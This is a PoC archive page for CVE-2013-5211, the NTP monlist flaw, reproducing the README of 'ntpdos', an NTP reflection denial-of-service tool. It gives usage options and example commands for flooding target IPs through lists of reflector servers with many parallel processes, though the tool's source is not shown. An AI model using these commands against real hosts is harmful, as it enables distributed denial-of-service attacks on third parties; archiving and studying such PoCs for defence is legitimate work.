Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2013-5211 PoC — NTP monlist功能输入验证错误漏洞

Source
Associated Vulnerability
Title:NTP monlist功能输入验证错误漏洞 (CVE-2013-5211)
Description:ntpd(Network Time Protocol daemon)是一个操作系统守护进程,它使用网络时间协议(NTP)与时间服务器的系统时间保持同步。 NTP 4.2.7p26之前的版本中的ntpd守护进程中的ntp_request.c文件中的monlist功能中存在输入验证漏洞。远程攻击者可通过伪造REQ_MON_GETLIST或REQ_MON_GETLIST_1请求利用该漏洞造成拒绝服务。
Description
PoC for distributed NTP reflection DoS (CVE-2013-5211)
Readme
# ntpdos

PoC for distributed NTP reflection DoS (CVE-2013-5211).

## Usage

```
$ ./ntpdos -H
--==[ ntpdos by sepehrdad ]==--

usage:

  ntpdos -t <addr> -s <addr> [options] | [misc]

options:

  -t <addr>    - target ip address
  -T <file>    - list of target ip addresses
  -s <addr>    - ntp server ip address
  -S <file>    - list of ntp server ip addresses
  -p <num>     - number of parallel processes (default: 80)
  -d <num>     - delay in microsecs (default: 1000)

misc:

  -V           - show version
  -H           - show help

example:

  # Attack 127.0.0.1 with servers from servers.lst
  $ ntpdos -t 127.0.0.1 -S servers.lst

  # Attack targets from targets.lst with 192.168.2.11 server
  $ ntpdos -T targets.lst -s 192.168.2.11

  # Attack targets from targets.lst with servers from servers.lst
  $ ntpdos -T targets.lst -S servers.lst

  # Attack 1.2.3.4 with 5.6.7.8 using 200 parallel processes
  $ ntpdos -t 1.2.3.4 -s 5.6.7.8 -p 200

  # Attack 1.2.3.4 with 5.6.7.8 with 1 microsec delay
  $ ntpdos -t 1.2.3.4 -s 5.6.7.8 -d 1

notes:

  * list of ip addresses should have 1 ip address per line

```

## License

This software is distributed under the GNU General Public License version 3 (GPLv3)

## LEGAL NOTICE

THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.

## Get Involved

**Please, send us pull requests!**
File Snapshot

[4.0K] /data/pocs/2a204238f2c592d811abf4b04875570519175563 ├── [4.0K] bash-completion │   └── [ 658] ntpdos ├── [ 34K] LICENSE.md ├── [ 872] Makefile ├── [8.4K] ntpdos.cpp └── [1.4K] README.md 1 directory, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.